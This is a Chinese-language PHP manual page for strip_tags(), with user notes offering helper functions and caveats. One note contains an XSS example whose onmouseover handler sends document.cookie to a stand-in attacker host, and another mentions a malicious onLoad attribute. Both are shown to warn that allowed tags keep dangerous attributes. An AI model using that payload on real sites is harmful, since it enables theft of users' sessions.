strip_tags

(PHP 4, PHP 5, PHP 7, PHP 8)

strip_tags从字符串中去除 HTML 和 PHP 标签

说明

strip_tags(string $string, array|string|null $allowed_tags = null): string

此函数尝试返回一个字符串,其中所有 NULL 字节、HTML 和 PHP 标签都已从给定的 $string 中去除。它使用与 fgetss() 函数相同的标签去除状态机。

参数

string

输入字符串。

allowed_tags

您可以使用可选的第二个参数来指定不应去除的标签。它们可以是 string,或者从 PHP 7.4.0 开始,可以是 array。请参考下面的示例了解此参数的格式。

注意:

HTML 注释和 PHP 标签也会被去除。这是硬编码的,不能通过 allowed_tags 更改。

注意:

自闭合 XHTML 标签将被忽略,在 allowed_tags 中应仅使用非自闭合标签。例如,要允许 <br><br/>,您应该使用

<?php
strip_tags
($input, '<br>');
?>

返回值

返回已去除的字符串。

变更日志

版本 说明
8.0.0 allowed_tags 现在可以为空。
7.4.0 allowed_tags 现在可以选择接受 array

示例

示例 #1 strip_tags() 示例

<?php
$text
= '<p>Test paragraph.</p><!-- Comment --> <a href="#fragment">Other text</a>';
echo
strip_tags($text);
echo
"\n";

// 允许 <p> 和 <a>
echo strip_tags($text, '<p><a>');

// 从 PHP 7.4.0 开始,上面的行可以写成:
// echo strip_tags($text, ['p', 'a']);
?>

上面的示例将输出

Test paragraph. Other text
<p>Test paragraph.</p> <a href="#fragment">Other text</a>

注意

警告

此函数不应用于尝试防止 XSS 攻击。请使用更合适的函数,如 htmlspecialchars() 或其他方法,具体取决于输出的上下文。

警告

由于 strip_tags() 实际上并未验证 HTML,因此部分或损坏的标签可能会导致去除比预期更多的文本/数据。

警告

此函数不会修改您使用 allowed_tags 允许的标签上的任何属性,包括 styleonmouseover 属性,恶意用户可能会在发布将显示给其他用户的文本时滥用这些属性。

注意:

输入 HTML 中的标签名称如果长度大于 1023 字节,则将被视为无效,无论 allowed_tags 参数是什么。

参见

添加备注

用户贡献的备注 14 个备注

mariusz.tarnaski at wp dot pl
15 年前
您好。我创建了一个函数,它可以去除 HTML 标签及其内容

函数
<?php
function strip_tags_content($text, $tags = '', $invert = FALSE) {

preg_match_all('/<(.+?)[\s]*\/?[\s]*>/si', trim($tags), $tags);
$tags = array_unique($tags[1]);

if(
is_array($tags) AND count($tags) > 0) {
if(
$invert == FALSE) {
return
preg_replace('@<(?!(?:'. implode('|', $tags) .')\b)(\w+)\b.*?>.*?</\1>@si', '', $text);
}
else {
return
preg_replace('@<('. implode('|', $tags) .')\b.*?>.*?</\1>@si', '', $text);
}
}
elseif(
$invert == FALSE) {
return
preg_replace('@<(\w+)\b.*?>.*?</\1>@si', '', $text);
}
return
$text;
}
?>

示例文本
$text = '<b>sample</b> text with <div>tags</div>';

strip_tags($text) 的结果
sample text with tags

strip_tags_content($text) 的结果
text with

strip_tags_content($text, '<b>') 的结果
<b>sample</b> text with

strip_tags_content($text, '<b>', TRUE); 的结果
text with <div>tags</div>

希望对大家有用 :)
doug at exploittheweb dot com
9 年前
"5.3.4 strip_tags() 不再去除自闭合 XHTML 标签,除非自闭合 XHTML 标签也在 allowable_tags 中指定."

这个表述不太准确。

上面的意思似乎是,从 5.3.4 开始,如果您没有在 allowable_tags 中指定 "<br/>",那么 "<br/>" 不会被去除... 但实际上他们想表达的意思并非如此。

它的意思是,在 5.3.4 之前的版本中,它 "会去除自闭合 XHTML 标签,除非自闭合 XHTML 标签也在 allowable_tags 中指定",而从 5.3.4 开始,情况不再如此。

所以,"不再去除自闭合标签(除非自闭合 XHTML 标签也在 allowable_tags 中指定)" 的表述实际上是说 "不再(去除自闭合标签,除非自闭合 XHTML 标签也在 allowable_tags 中指定)"。



5.3.4 之前:strip_tags('Hello World<br><br/>','<br>') => 'Hello World<br>' // 去除了 <br/>,因为它没有在 allowable_tags 中明确指定

5.3.4 及更高版本:strip_tags('Hello World<br><br/>','<br>') => 'Hello World<br><br/>' // 没有去除 <br/>,因为 PHP 在 allowable_tags 中将它与 <br> 匹配
abe
3 年前
请注意,strip_tags 会移除任何看起来像标签的东西 - 不仅仅是标签 - 例如,如果属性中包含标签,它们也可能被移除。

例如:

<?php
$test
='<div a="abc <b>def</b> hij" b="1">x<b>y</b>z</div>';
$echo strip_tags($test, "<div><b>");

将产生以下结果:

<div a="abc bdef/b hij" b="1">x<b>y</b>z</div>
Dr. Gianluigi &#34;Zane&#34; Zanettini
8 年前
提醒一下,只要您移除所有标签,strip_tags() 实际上可以用于输入验证。一旦您接受单个标签(第二个参数),您就会打开一个安全漏洞,例如:

<acceptedTag onLoad="javascript:malicious()" />

此外,使用正则表达式移除属性或代码块并不是正确的解决方案。为了在使用 strip_tags() 时即使接受单个标签也能进行有效的输入验证,http://htmlpurifier.org/ 是最佳选择。
stever at starburstpublishing dot com dot au
7 年前
由于 strip_tags 不会移除属性,因此会导致潜在的 XSS 安全漏洞,我编写了一个小函数来只允许特定标签和属性,并移除所有其他标签和属性。

如果您只允许格式化标签(如 b、i 和 p)和样式属性(如 class、id 和 style),这将移除格式化标签中的所有 javascript,包括事件触发器。

请注意,允许锚点标签或 href 属性会导致另一个潜在的安全漏洞,本解决方案无法防范。如果您计划在文本中允许链接,您需要更全面的保护措施。

<?php
function stripUnwantedTagsAndAttrs($html_str){
$xml = new DOMDocument();
// 抑制警告:适当的错误处理超出了本示例的范围
libxml_use_internal_errors(true);
// 在这里列出您要允许的标签,注意,您必须允许 html 和 body,否则整个字符串将被清除
$allowed_tags = array("html", "body", "b", "br", "em", "hr", "i", "li", "ol", "p", "s", "span", "table", "tr", "td", "u", "ul");
// 在这里列出您要允许的属性
$allowed_attrs = array ("class", "id", "style");
if (!
strlen($html_str)){return false;}
if (
$xml->loadHTML($html_str, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD)){
foreach (
$xml->getElementsByTagName("*") as $tag){
if (!
in_array($tag->tagName, $allowed_tags)){
$tag->parentNode->removeChild($tag);
}else{
foreach (
$tag->attributes as $attr){
if (!
in_array($attr->nodeName, $allowed_attrs)){
$tag->removeAttribute($attr->nodeName);
}
}
}
}
}
return
$xml->saveHTML();
}
?>
makogon-vs at yandex dot ru
10 个月前
在编程世界的新手们中,最荒谬且常见的这个函数使用方式之一,就是将其用于处理查询变量。

<?php
$search
= isset($_GET['search']) ? strip_tags($_GET['search']) : '';
?>

我不知道这种“风尚”的根源是什么,也许来自本世纪初的另一本低质量的 PHP 书籍。但事实是,这种结构至今仍在使用,即使在 PHP8 的时代,不仅初学者使用,商业系统的开发者也使用。

请勿以上述方式使用此函数。这样做毫无实际意义。

HTML 代码移除函数与数据验证无关,更不用说 SQL 注入话题了。

此外,您也不应该在将数据写入数据库之前使用此函数。这听起来很奇怪,但您永远无法确定,在您设计的企业系统中使用此函数时,是否会丢失可能(或最终会)以 HTML 格式传入的重要传入数据。
构建系统的良好做法是,以原始形式(“按原样”)绘制数据,但您可以根据当前业务需求在客户端代码中提供这些数据。
bzplan at web dot de
11 年前
以下 HTML 代码:

<?php
$html
= '
<div>
<p style="color:blue;">color is blue</p><p>size is <span style="font-size:200%;">huge</span></p>
<p>material is wood</p>
</div>
'
;
?>

使用 <?php $str = strip_tags($html); ?>
... 的结果是:

$str = 'color is bluesize is huge
material is wood';

注意:单词 'blue' 和 'size' 合并在一起 :(
并且新字符串 $str 中仍然存在换行符。

如果您需要单词之间有空格(并且没有换行符)
使用我的函数:<?php $str = rip_tags($html); ?>
... 的结果是:

$str = 'color is blue size is huge material is wood';

该函数:

<?php
// --------------------------------------------------------------

function rip_tags($string) {

// ----- 移除 HTML 标签 -----
$string = preg_replace ('/<[^>]*>/', ' ', $string);

// ----- 移除控制字符 -----
$string = str_replace("\r", '', $string); // --- 用空空格替换
$string = str_replace("\n", ' ', $string); // --- 用空格替换
$string = str_replace("\t", ' ', $string); // --- 用空格替换

// ----- 移除多个空格 -----
$string = trim(preg_replace('/ {2,}/', ' ', $string));

return
$string;

}

// --------------------------------------------------------------
?>

关键是正则表达式模式:'/<[^>]*>/'
而不是 strip_tags()
... 然后移除控制字符和多个空格
:)
CEO at CarPool2Camp dot org
15 年前
请注意,相同标签的不同版本会有不同的输出。

<?php // striptags.php
$data = '<br>Each<br/>New<br />Line';
$new = strip_tags($data, '<br>');
var_dump($new); // 输出 string(21) "<br>EachNew<br />Line"

<?php // striptags.php
$data = '<br>Each<br/>New<br />Line';
$new = strip_tags($data, '<br/>');
var_dump($new); // 输出 string(16) "Each<br/>NewLine"

<?php // striptags.php
$data = '<br>Each<br/>New<br />Line';
$new = strip_tags($data, '<br />');
var_dump($new); // 输出 string(11) "EachNewLine"
?>
roger dot keulen at vaimo dot com
4 年前
https://bugs.php.net/bug.php?id=78346

从 v7.3.3 升级到 v7.3.7 后,字符串内部嵌套的 “php 标签” 似乎不再被 strip_tags() 正确地剥离。

这在 v7.3.3、v7.2 和 v7.1 中仍然有效。我在下面添加了一个简单的测试。

测试脚本
---------------
<?php
$str
= '<?= \'<?= 1 ?>\' ?>2';
var_dump(strip_tags($str));

预期结果:
----------------
string(1) "2"

实际结果:
--------------
string(5) "' ?>2"
Trititaty
8 年前
功能
* 允许的标签(如在 strip_tags 中),
* 可选的剥离允许标签的属性,
* 可选的保留注释,
* 删除损坏和未关闭的标签和注释,
* 可选的回调函数调用,用于处理的每一部分,允许灵活的替换。

<?php
function better_strip_tags( $str, $allowable_tags = '', $strip_attrs = false, $preserve_comments = false, callable $callback = null ) {
$allowable_tags = array_map( 'strtolower', array_filter( // 小写
preg_split( '/(?:>|^)\\s*(?:<|$)/', $allowable_tags, -1, PREG_SPLIT_NO_EMPTY ), // 获取标签名称
function( $tag ) { return preg_match( '/^[a-z][a-z0-9_]*$/i', $tag ); } // 过滤损坏
) );
$comments_and_stuff = preg_split( '/(<!--.*?(?:-->|$))/', $str, -1, PREG_SPLIT_DELIM_CAPTURE );
foreach (
$comments_and_stuff as $i => $comment_or_stuff ) {
if (
$i % 2 ) { // html 注释
if ( !( $preserve_comments && preg_match( '/<!--.*?-->/', $comment_or_stuff ) ) ) {
$comments_and_stuff[$i] = '';
}
} else {
// 注释之间的内容
$tags_and_text = preg_split( "/(<(?:[^>\"']++|\"[^\"]*+(?:\"|$)|'[^']*+(?:'|$))*(?:>|$))/", $comment_or_stuff, -1, PREG_SPLIT_DELIM_CAPTURE );
foreach (
$tags_and_text as $j => $tag_or_text ) {
$is_broken = false;
$is_allowable = true;
$result = $tag_or_text;
if (
$j % 2 ) { // 标签
if ( preg_match( "%^(</?)([a-z][a-z0-9_]*)\\b(?:[^>\"'/]++|/+?|\"[^\"]*\"|'[^']*')*?(/?>)%i", $tag_or_text, $matches ) ) {
$tag = strtolower( $matches[2] );
if (
in_array( $tag, $allowable_tags ) ) {
if (
$strip_attrs ) {
$opening = $matches[1];
$closing = ( $opening === '</' ) ? '>' : $closing;
$result = $opening . $tag . $closing;
}
} else {
$is_allowable = false;
$result = '';
}
} else {
$is_broken = true;
$result = '';
}
} else {
// 文本
$tag = false;
}
if ( !
$is_broken && isset( $callback ) ) {
// 允许结果修改
call_user_func_array( $callback, array( &$result, $tag_or_text, $tag, $is_allowable ) );
}
$tags_and_text[$j] = $result;
}
$comments_and_stuff[$i] = implode( '', $tags_and_text );
}
}
$str = implode( '', $comments_and_stuff );
return
$str;
}
?>

回调参数
* &$result: 包含要放置在原始部分位置的文本(例如,禁止标签的空字符串),可以更改;
* $tag_or_text: 原始文本部分或标签(见下文);
* $tag: 标签之间的文本为 false,标签的小写标签名称;
* $is_allowable: 布尔值,表示标签是否不允许(避免重复检查),标签之间的文本始终为 true
不会对注释和损坏的标签调用回调函数。

注意:该函数不会完全验证标签(更不用说 HTML 本身了),它只会强制剥离那些明显损坏的标签(除了剥离禁止标签)。如果你想获得有效的标签,那么使用 strip_attrs 选项,尽管它不能保证标签是平衡的或在适当的上下文中使用。对于复杂的逻辑,请考虑使用 DOM 解析器。
Anonymous
7 年前
只是 bzplan 的函数,可以选择要替换哪些标签

function rip_tags($string, $rep = ' ') {

// ----- 删除 HTML 标签 -----
$string = preg_replace ('/<[^>]*>/', $rep, $string);

// ----- 删除控制字符 -----
$string = str_replace("\r", '', $string); // --- 用空空格替换
$string = str_replace("\n", $rep, $string); // --- 用空格替换
$string = str_replace("\t", $rep, $string); // --- 用空格替换

// ----- 删除多个空格 -----
$string = trim(preg_replace('/ {2,}/', $rep, $string));

return $string;

}
cesar at nixar dot org
18 年前
这是一个类似于 stripslashes 手册页面中显示的 strip_tags 的递归函数。

<?php
function strip_tags_deep($value)
{
return
is_array($value) ?
array_map('strip_tags_deep', $value) :
strip_tags($value);
}

// 示例
$array = array('<b>Foo</b>', '<i>Bar</i>', array('<b>Foo</b>', '<i>Bar</i>'));
$array = strip_tags_deep($array);

// 输出
print_r($array);
?>
bnt dot gloria at outlook dot com
10 年前
使用 allowable_tags,strip-tags 不安全。

<?php

$str
= "<p onmouseover=\"window.location='http://www.theBad.com/?cookie='+document.cookie;\"> don't mouseover </p>";
$str= strip_tags($str, '<p>');
echo
$str; // DISPLAY: <p onmouseover=\"window.location='http://www.theBad.com/?cookie='+document.cookie;\"> don't mouseover </p>";

?>
tom at cowin dot us
13 年前
对于大多数基于 Web 的用户输入,如果超过一行文本,我似乎会收到 90% 的“从 Word 粘贴”。我花了一些时间开发了这个函数来尝试删除所有这些杂乱内容。这里我做的一些事情是特定于应用程序的,但如果它对您有所帮助 - 太棒了,如果您能改进它或有更好的方法 - 请 - 发布它...

<?php

function strip_word_html($text, $allowed_tags = '<b><i><sup><sub><em><strong><u><br>')
{
mb_regex_encoding('UTF-8');
// 首先替换 MS 特殊字符
$search = array('/&lsquo;/u', '/&rsquo;/u', '/&ldquo;/u', '/&rdquo;/u', '/&mdash;/u');
$replace = array('\'', '\'', '"', '"', '-');
$text = preg_replace($search, $replace, $text);
// 确保 _所有_ html 实体都被转换为纯 ASCII 等效项 - 似乎
// 在某些 MS 标题中,一些 html 实体是编码的,而另一些则没有
$text = html_entity_decode($text, ENT_QUOTES, 'UTF-8');
// 尝试首先删除任何 C 样式注释,因为这些注释嵌入在 html 注释中,似乎
// 阻止 strip_tags 删除 html 注释(MS Word 引入了组合)
if(mb_stripos($text, '/*') !== FALSE){
$text = mb_eregi_replace('#/\*.*?\*/#s', '', $text, 'm');
}
// 在任何可能被 strip_tags 捕获的算术表达式中引入空格,以便它们不会被
// '<1' 变成 '< 1'(注意:有点特定于应用程序)
$text = preg_replace(array('/<([0-9]+)/'), array('< $1'), $text);
$text = strip_tags($text, $allowed_tags);
// 从行首和行尾消除多余的空格,或在出现两个或多个空格的地方将其转换为一个
$text = preg_replace(array('/^\s\s+/', '/\s\s+$/', '/\s\s+/u'), array('', '', ' '), $text);
// 删除内联 CSS 并简化样式标签
$search = array('#<(strong|b)[^>]*>(.*?)</(strong|b)>#isu', '#<(em|i)[^>]*>(.*?)</(em|i)>#isu', '#<u[^>]*>(.*?)</u>#isu');
$replace = array('<b>$2</b>', '<i>$2</i>', '<u>$1</u>');
$text = preg_replace($search, $replace, $text);
// 在一些 ?较新的 MS Word 导出中,您会得到形式为“if gte mso 9”等条件语句,似乎
// html 注释中的任何内容都会阻止 strip_tags 消除包含
// 某些 MS 样式定义的 html 注释 - 最后一部分会删除任何剩余的注释 */
$num_matches = preg_match_all("/\<!--/u", $text, $matches);
if(
$num_matches){
$text = preg_replace('/\<!--(.)*--\>/isu', '', $text);
}
return
$text;
}
?>
To Top